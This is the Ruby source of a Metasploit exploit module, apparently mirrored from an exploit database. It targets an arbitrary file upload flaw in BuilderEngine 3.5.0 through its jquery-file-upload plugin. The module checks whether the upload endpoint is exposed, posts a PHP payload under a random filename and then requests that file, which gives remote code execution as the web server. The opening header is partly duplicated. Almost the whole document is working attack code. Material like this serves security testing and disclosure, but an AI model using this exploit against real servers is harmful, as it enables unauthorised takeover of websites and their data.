BuilderEngine Arbitrary File Upload Execution

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Expl ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
'Description' => %q{
This module exploits a vulnerability found in BuilderEngine 3.5.0
via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
file, which would result in arbitrary remote code execution under the context of
the web server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metanubix', # PoC
'Marco Rivoli' # Metasploit
],
'References' =>
[
['EDB', '40390']
],
'Payload' =>
{
'BadChars' => "x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['BuilderEngine 3.5.0', {}]
],
'Privileged' => false,
'DisclosureDate' => "Sep 18 2016",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
])
end

def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
})

if res && res.code == 200 && !res.body.blank?
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def exploit
uri = target_uri.path

peer = "#{rhost}:#{rport}"
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
data = Rex::MIME::Message.new
payload_encoded = Rex::Text.rand_text_alpha(1)
payload_encoded << "<?php "
payload_encoded << payload.encoded
payload_encoded << " ?> "
data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name="files[]"; filename="#{php_pagename}"")
post_data = data.to_s

res = send_request_cgi({
'uri' => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if res
if res.code == 200 && res.body =~ /files|#{php_pagename}/
print_good("Our payload is at: #{php_pagename}. Calling payload...")
register_file_for_cleanup(php_pagename)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'ERROR')
end

print_status("Calling payload...")
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri,'files/', php_pagename)
)
end
end